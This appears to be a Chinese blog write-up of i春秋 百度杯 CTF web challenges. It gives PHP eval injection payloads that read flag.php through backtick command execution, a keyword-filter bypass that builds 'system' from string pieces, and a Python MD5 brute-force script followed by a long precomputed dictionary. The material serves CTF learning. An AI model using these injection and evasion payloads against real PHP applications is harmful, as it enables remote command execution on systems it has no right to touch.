i春秋 百度杯”CTF比赛（二月场） Misc&&web题解 By Assassin

原创

Assassin__is__me 于 2017-03-16 23:41:14 发布 19460 收藏 5

分类专栏： Web

本文链接：https://blog.csdn.net/qq_35078631/article/details/62438259

学习web，搞起来！

百度杯”CTF比赛（二月场）训练赛传送门

爆破-1

打开题目我们直接就看到源码，加上注释如下

```php
<?php
include "flag.php";                    //包含flag.php这个文件
$a = @$_REQUEST['hello'];      //$a这个变量请求变量hello的值
if(!preg_match('/^\w*$/',$a )){ //正则表达式，匹配字符串，\w表示字母+数字+下划线，*代表有若干个\w字母组成。
    die('ERROR');//不匹配则输出ERROR
}
eval("var_dump($$a);");        //如果匹配输出\$\$a的值
show_source(__FILE__);
?>
```

而且通过题目链接可以知道hello变量一定是6位的，一开始真以为是爆破了，但是一想肯定很大，不可能。而且我们发现 $$a 这个东西很诡异。其实就是php中变量可以当作另一个变量的变量名。例如

```php
<?php
$a='b';
$b="hello world!";
eval("var_dump($$a);");
?>
```

上面代码会输出hello world!

PHP一个比较有意思的变量!$GLOBALS：一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

于是我们在url上构造/?hello=GLOBALS，结果就直接出来了！根本不是爆破好吧！

爆破-2

这时候代码为

```php
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
```

我们可以看到第一种方法不好用了，所以另辟他径！我们注意到flag.php，会不会答案就在这个里面呢？而且”var_dump($a);”这个字符串是不是可以注入呢？明显是可以的！

构造payload如下

```
?hello=);echo%20`cat%20./flag.php`;//
```

然后这里面就必须讲一下一些小技巧！第一单引号，双引号，反引号在bash中的作用！
（PS：反引号位 (`) 位于键盘的Tab键的上方、1键的左方。注意与单引号(‘)位于Enter键的左方的区别。）

反括号`在Linux中起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置。如下：
[root@localhost sh]# echo The date is `date`
The date is 2011年 03月 14日 星期一 21:15:43 CST

单引号、双引号用于用户把带有空格的字符串赋值给变量事的分界符。如果没有单引号或双引号，shell会把空格后的字符串解释为命令。
单引号和双引号的区别。单引号告诉shell忽略所有特殊字符，而双引号忽略大多数，但不包括$、\、`。
栗子：
[root@localhost tmp]# echo ‘the date is `date`’
the date is `date`
[root@localhost tmp]# echo “the date is `date`”
the date is Fri Oct 9 00:11:56 CST 2015

是不是发现了什么！eval(“var_dump($a);”);正式双引号！！！我们就可以用`了！
然后用cat读取输出即可！

这里还收集了其他的姿势！payload如下：

```
?hello=$a);print_r(file("./flag.php")); //
```

```
hello=$a);$a="sys";$b="tem";$c=$a.$b;echo%20$c;$c("cat%20./flag.php");
// 这里发现 i春秋 在http请求中拦截了 system 函数等关键字 ，
因此可以通过 php 的字符串连接成为函数名 ，然后进行调用
这里其实是把 system 函数名作为字符串分开 ，这样在 http 请求头中不会出现 "system(xxx)" 这样的关键字
```

爆破-3

首先我们看到题目的脚本

```php
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){
  session_destroy();
}

$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){
  echo $flag;
}

show_source(__FILE__);
?>
```

简易的分析可以知道生成几个SESSION变量，其中time是计时的，nums是计数的。当nums没有设置的时候会给一个初始化变量。需要在120s内完成遮掩一件事。脚本用随机数跑出两位的字符串，你需要输入一个串前两位和随机生成的串相等，而且输入串的MD5值的第5-9为必须为“0000”。这个时候全部匹配的话nums++。在匹配后whoami被更新，但是它在页面中输出了，我们可以知道！当nums在120s内完成10次以上就可以得到flag。
那么问题来了，真的是爆破的话我们需要跑出一个字典，分别记录26*26种开头对应满足条件的串.

爆破脚本

```
# -*- coding:utf-8 -*-
#这个脚本用random跑的随机串，生成的速度慢一些
import random
import hashlib
str1=["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t

def findgood(str2):
    for i in range(1000000):
        password=str2
        password+=random.choice(str1)
        password+=random.choice(str1)
        password+=random.choice(str1)
        password+=random.choice(str1)
        password+=random.choice(str1)
        password+=random.choice(str1)
        if(hashlib.md5(password).hexdigest()[5:9]=="0000"):
            return password
    return "Not find!"

result=open('mima.txt','a+')
for i in str1:
    for j in str1:
        password=findgood(i+j)
        print i+j+" "+password
        result.write(i+j+":"+password)
result.close()
```

然后我们就要用脚本链接目标网站了，但是有一个问题，用python实现的时候要用requests中的requests.Session()，而不可以直接urlopen，因为每一次这样打开相当于新的链接进入，session是不会保存的！注意！

下面是实验成功代码（注意我这么写主要根据的字典的格式）

```
import requests
file = 'C:\\xxxx\\mima.txt'
mima= open(file,'r+')
content=mima.readlines()
session = requests.Session()
value = "ea"
url = "http://dc600d84281e40cba349347d92660cd31c3a29f654104b35.ctf.game//?value="
for i in range(12):
    for j in content:
        if j[0:2]==value:
            md5value=j[3:11]
    response=session.get(url+md5value)
    temp=response.text
    value=temp[0:2]
    if i >10:
        print temp
```

顺手分享一下现成的字典

```
aa aawkntax
ab abbjfesk
ac achfwxqv
ad adjsvcmd
ae aegryksl
af afbqavho
ag agmesuot
```

ag agmcsuot
ah ahzfkgkb
ai aivobshx
aj ajgenzvw
ak akuwdoez
al aloapjto
am amauirgd
an anndsmce
ao aoeiktji
ap apzzqskh
aq aqotslgf
ar arufddla
as asalapxu
at atinpfjx
au auqbksqt
av avocmtkk
aw awnadxzu
ax axdrwaja
ay aygsykas
az azqxwdyo
ba banipmif
bb bbdpirxv
bc bclbfjqe
bd bduhwyii
be bekwgcxd
bf bfhoiwey
bg bgbfpmws
bh bhmojqhg
bi biuhupvb
bj bjowwwiv
bk bkgmsmgl
bl blfnqewn
bm bmksxqzl
bn bnqnzamc
bo boukkgsz
bp bpgbymik
bq bqqaqkkj
br brzfedob
bs bsizxozv
bt btlllqpn
bu buxwetkv
bv bvvhpxrz
bw bwiudbba
bx bxxdreia
by bydzldxy
bz bzmewmzd
ca capwierq
cb cbqcicxf
cc ccicavlb
cd cdmptukg
ce ceibrxnl
cf cfdholgi
cg cgaeqxnx
ch choezwow
ci ciybbwxt
cj cjfzcnmp
ck ckczxjxy
cl clwdoszz
cm cmazzprr
cn cnfzzmda

```
co coqumsda
cp cpfftmih
cq cqpljdzt
cr crwnqcji
cs csochcjj
ct ctijkwec
cu cusrvfnl
cv cvmhepir
cw cwnujazq
cx cxhvrzos
cy cynudbij
cz czfmojyb
da dajznvxq
db dbptbbpz
dc dcoemeee
dd ddxthrii
de dehttqkp
df dfzojnuo
dg dgetxjlb
dh dhkezlfg
di didgcjca
dj djwixmxk
dk dkshvkgi
dl dldsrsam
dm dmhzbsvr
dn dnncidlm
do dovxdvhr
dp dpiwclzf
dq dqhfiudt
dr drynyvae
ds dsubyjen
dt dtykrqpd
du dupepwhb
dv dvkzpfpt
dw dwlmhlfk
dx dxnuipsu
dy dywcgyfk
dz dzxgyjyw
ea earteyes
eb ebmvhnym
ec echblymf
ed edtncefp
ee eecjcbpd
ef efkdpajd
eg egcdpzmb
eh ehbvdxlj
ei eirtsjxp
ej ejbhxrsy
ek ekrojqvr
el eloibbxl
em emveuhil
en enwebskq
eo eouofwbe
ep epumonps
eq eqkeeoac
er erppzuqw
es esxhodxw
et etgndtdf
eu eujtohoj
```

ev evdurfgb
ew ewouccrh
ex exqsfqns
ey eydkhomk
ez ezhlchmw
fa fafzimir
fb fbylznev
fc fcvpemut
fd fdziqfzw
fe fecirbtk
ff ffdadnlv
fg fgyyiyry
fh fhckktdl
fi finpccjm
fj fjvtkeco
fk fkcxskan
fl flovrkve
fm fmbealqu
fn fnhbcqen
fo foefwksl
fp fpwqmkfg
fq fqgyqchb
fr frpcqlul
fs fsjridbw
ft ftrgiqke
fu fudsbmvy
fv fvzuwwke
fw fwgpmffn
fx fxyebdhh
fy fyqyogar
fz fzdolwlp
ga gapkitff
gb gbofykyh
gc gcgchndw
gd gdqaymoj
ge geffsndj
gf gffxdwom
gg ggzayqlx
gh ghqkyhvr
gi gilbuahw
gj gjysrbtq
gk gkyxskxm
gl glzllqpm
gm gmoraxsl
gn gnnrimld
go gobsfcep
gp gpcosvtz
gq gqpnojuk
gr grevzjlk
gs gsqgtgjc
gt gtxccyau
gu guvdfngf
gv gvpxkoib
gw gwyjlrfn
gx gxuwnogn
gy gykzfcef
gz gzcmjnga
ha hazucwrp
hb hbdllvwf
hc hcbhlaja

```
hd hdwfavfp
he heevhdvl
hf hfuwbsmo
hg hgiagijc
hh hhpsgdfy
hi hifckmer
hj hjrqnvvj
hk hkdbtgcn
hl hlcxhfbh
hm hmlydtoa
hn hnysavbn
ho hoxrihot
hp hpjskcfg
hq hqpaxnwx
hr hrdaouuo
hs hsinwfts
ht htgtnusc
hu humdzfne
hv hvlzqqkw
hw hwcemcht
hx hxahhsbm
hy hymattiq
hz hzwoutwd
ia iaqnjwwb
ib ibejrmtz
ic icwqyfpv
id idqqcbdy
ie iebkunoj
if ifpcdnuj
ig igkodbdq
ih ihsidrdd
ii iienhwsm
ij ijxmalsq
ik ikuqvzrw
il ilqfzswp
im imkgswsg
in inhtdpdq
io ionbekgu
ip ipkkpoed
iq iqemqrba
ir irthfvfg
is isbxzvth
it ithjdgmn
iu iuqrosnx
iv ivtmpriq
iw iwwpldec
ix ixwsands
iy iyecfqyb
iz izmytcgr
ja jamssgek
jb jbexxzuq
jc jcaxisnx
jd jdrddgre
je jetagess
jf jfassqne
jg jgnhsvga
jh jhzmrnwn
ji jicixxry
jj jjvmwybj
```

jk jkkggbhr
jl jlyfapce
jm jmgviuna
jn jnrtdrdp
jo jowpevpr
jp jpplswjf
jq jqbnewgg
jr jrodxodi
js jstsropv
jt jtxayowq
ju juxbkedf
jv jvwgzaqi
jw jwyzabpm
jx jxvkkjvd
jy jyerpukc
jz jzrftrdb
ka kaolkzyr
kb kbppacrs
kc kcvrigqr
kd kdyibdmr
ke ketymgvf
kf kfyldpwa
kg kgmiitgl
kh khhqwzqm
ki kijpvqut
kj kjrbvzlj
kk kkunucbq
kl klsklmnf
km kmamiypq
kn knqezidp
ko kohayxdz
kp kpncguqe
kq kqoufyfz
kr krefwkrd
ks kspoquhf
kt ktyimglg
ku kuwylyjz
kv kveskxbf
kw kwqfwkew
kx kxjlkfbv
ky kyvftzgl
kz kzhrbtjf
la laaqject
lb lbmceyxr
lc lcudztpt
ld ldlgscwm
le letnuruj
lf lfypuomh
lg lgvimebg
lh lhavdbtq
li lipwioaa
lj ljhastxm
lk lkuosoym
ll llyaisuj
lm lmppefed
ln lnddbfnf
lo loanhizz
lp lpomcqqu
lq lqwkndjt
lr lrcaoijm

```
ls lsaongos
lt lttoyhty
lu lufmipms
lv lvxrbrik
lw lwuzrwav
lx lxyvoakg
ly lyyvfpfh
lz lzzwhyhc
ma mapbgxtu
mb mblpbqwf
mc mctzguem
md mdugqjyv
me meomqmlm
mf mffdqegx
mg mgzkxhpc
mh mhwverea
mi miaoxyat
mj mjzplpjp
mk mkdcnarr
ml mlktrhfw
mm mmdbugun
mn mnxvryar
mo motkrtqe
mp mpeqbgqp
mq mqojffio
mr mrjedgis
ms msdscqsu
mt mtmkfwvy
mu muaqkuuo
mv mvxlovrh
mw mwcahvpu
mx mxpflcog
my myphnova
mz mzsealnm
na nargvypa
nb nbxbdecv
nc ncvhxdkq
nd ndmohqbz
ne nebbwahz
nf nfjvmrow
ng nghmcblx
nh nhoqsheh
ni nigvthee
nj njqfyweb
nk nkekuwtg
nl nlixyeqj
nm nmurmfbj
nn nnzhrmzr
no nogodsmu
np npmvsbch
nq nqhlwuck
nr nralxfhx
ns nssklpkz
nt ntdbnlfd
nu nucvmzsv
nv nvefivss
nw nwnjofhg
nx nxlywbsz
ny nykjlbvk
```

```
nz nzlbwyls
oa oapyfcop
ob obyenzsp
oc ocrfphbz
od odwqtbiy
oe oejixcka
of ofdpzuyw
og ogtefvwg
oh ohtbanyu
oi oiyjeewr
oj ojsnhpcp
ok okcrycvc
ol olqlbtvy
om omgdalhy
on onrylers
oo ooxfszqz
op oppkrhrz
oq oqotlrqe
or orfsncma
os oswywryz
ot otuqgble
ou outhegom
ov ovwyiiuz
ow ownbtssi
ox oxlxmjpz
oy oydtvzxf
oz ozjfaoot
pa paghhmyr
pb pbcxkbft
pc pcusbrqn
pd pdujkuod
pe pexhyaoe
pf pfwtualw
pg pgrydiaj
ph phirssel
pi pidgeqcy
pj pjtslsmp
pk pkrxlruu
pl plstqrdx
pm pmyaeoht
pn pnxefudm
po poufywac
pp ppnddmmx
pq pqwmrjzi
pr priyqpvc
ps psqxwikf
pt ptkxeuti
pu pumttqtv
pv pvpvijka
pw pwoximiy
px pxysddzb
py pyuflsgy
pz pzrvdden
qa qardmuda
qb qbaykdeh
qc qchtuszf
qd qdiesoww
qe qetggivt
qf qftmovev
qg qguxhnau
```

qh qhhhrleg
qi qipwrjbk
qj qjgdjwfa
qk qkquaneh
ql qldcrhfj
qm qmdrvhxb
qn qnukydnn
qo qolhjxnq
qp qpfamghb
qq qqwjvaia
qr qrqcbexl
qs qstvhvpg
qt qtwjblze
qu quaghwkh
qv qvukdndx
qw qwnnhyvq
qx qxbspqou
qy qyrxwgpz
qz qzvztbzj
ra raxzwudb
rb rbzculyy
rc rcvjvnlz
rd rdaddkjz
re rewpjcuj
rf rfhmvhby
rg rgogudoj
rh rhvyngvk
ri rigsxwxk
rj rjveogko
rk rknxmiut
rl rlciiiti
rm rmacddes
rn rnowbelw
ro rotypitn
rp rphjazwp
rq rqxbpfzy
rr rreyzbdo
rs rsdbeglj
rt rtnaafup
ru ruiucsjh
rv rvebhrlb
rw rwbvzoyr
rx rxcoclrn
ry ryjycoid
rz rzdlkdny
sa sapvcqgu
sb sbpevonl
sc scwfahoc
sd sdqncuni
se seatltpn
sf sfbbobnb
sg sgdhtbhz
sh shwypaus
si sifyqanq
sj sjhbkfmg
sk skpyetbl
sl slmimuja
sm smwabfhu
sn snimgltn

```
so soyvnpbh
sp spaknzmp
sq sqdxfbti
sr srpeakmn
ss sstojbhn
st sthctgnt
su sunqnwyy
sv svccwuzg
sw swktqnkz
sx sxpwzabq
sy symhvdjd
sz szprkzlu
ta tasrkbdl
tb tbteedzn
tc tcvlymhk
td tdewtzna
te tebyeavm
tf tfzrihve
tg tggfizmb
th thaaeqes
ti tiyemisd
tj tjdxyhst
tk tkvblaiq
tl tlgwwckf
tm tmsgpyul
tn tnvhkmki
to toduoros
tp tpcbfush
tq tqfklchd
tr traqgxxc
ts tsswmmvt
tt ttlhkppl
tu tupvlooo
tv tvmbrafm
tw twvtnksd
tx txtzusts
ty tyeetouj
tz tzaazxss
ua uavkpkua
ub ubgfgfbb
uc ucbdpppo
ud udbxgsrg
ue uegjkzyv
uf uffuroty
ug ugcsdqgg
uh uhfbvfyg
ui uidsehfw
uj ujqeivnz
uk ukfriivy
ul ulsmsmlu
um umhgpvud
un unylewuv
uo uofktkdz
up upelfxpc
uq uqqpjkse
ur urcjjagb
us usrtzxcg
ut uttsyaet
uu uuqipdmy
uv uvugrhav
```

uw uwqfxbjb
ux uxjtrjot
uy uysffvhq
uz uzmoviui
va vaszafbs
vb vbxlzgep
vc vcpcovqd
vd vdduswma
ve veqvxkav
vf vfwhloev
vg vggyqzfx
vh vhsrrtiz
vi vimrdxnx
vj vjdzntru
vk vkjlvpbf
vl vlcdokwh
vm vmeifrid
vn vnunawil
vo voqmppuz
vp vpyeuina
vq vqorxprp
vr vruwltfi
vs vsdonmbw
vt vtaqaxqp
vu vufsyvjo
vv vvsdqyqh
vw vwggcxyc
vx vxwrwhbp
vy vyasjmnd
vz vzmecspa
wa waipknsf
wb wbyqaoxh
wc wcslelve
wd wdnkeoje
we wexeijgw
wf wfhliyck
wg wglfhhcr
wh whcbzlxe
wi wibrruar
wj wjjanicb
wk wkvmtnji
wl wlyhswqe
wm wmunahyc
wn wnxfiojy
wo wodvqblo
wp wprchvdq
wq wqzmvbmb
wr wrpofgxg
ws wsxhpeiq
wt wtxbrtkf
wu wuszutup
wv wvxvbcaa
ww wwxuzjxs
wx wxhhbros
wy wyxrhhbd
wz wznjhghm
xa xadfqzuk
xb xbvwpcgg
xc xcgqarsg

xd xdsuihcd
xe xezdglsl
xf xfrmjtte
xg xgarigyg
xh xhuiboie
xi xijyxiza
xj xjvbewyn
xk xkksfwmr
xl xlosccki
xm xmuoxdqa
xn xnrfnllf
xo xocgfpdd
xp xpxvdljf
xq xqpvhykc
xr xrqfdcsi
xs xszsvkqe
xt xtqyrdxp
xu xujvhrbn
xv xvjxnuxm
xw xwqnmsba
xx xxrcwupf
xy xyorfdre
xz xzoprmrt
ya yazafejm
yb ybwogpyn
yc ycaxhdug
yd ydbvkzdf
ye yenfxdqh
yf yfwavfda
yg yglxlgrm
yh yheefgte
yi yimnoavm
yj yjzjyuyu
yk yktwpsco
yl yliegplu
ym ymdhxzxa
yn ynkshubj
yo yodngrmd
yp ypzrvvah
yq yqhahgxe
yr yrhqbevl
ys ysptddzj
yt ytyocojg
yu yuezmwxb
yv yvezdspd
yw ywgzruvg
yx yxyierlk
yy yypubgrf
yz yznkhkps
za zaecekxx
zb zbnzsrde
zc zcwfjxch
zd zdhlvslx
ze zetrbemj
zf zfflowil
zg zgjwwdca
zh zhpzzkkf
zi zipwlufp
zj zjgepord
zk zkuugoao

```
zl zlewpinh
zm zmvzbkgd
zn znmilqsa
zo zogbvcwe
zp zphhcmao
zq zqswnmmr
zr zrmmfnrh
zs zszxbedw
zt ztafdiqw
zu zuhzvehg
zv zvldsnqc
zw zwoqhuca
zx zxsijtny
zy zyxgjbez
zz zzkmajgj
```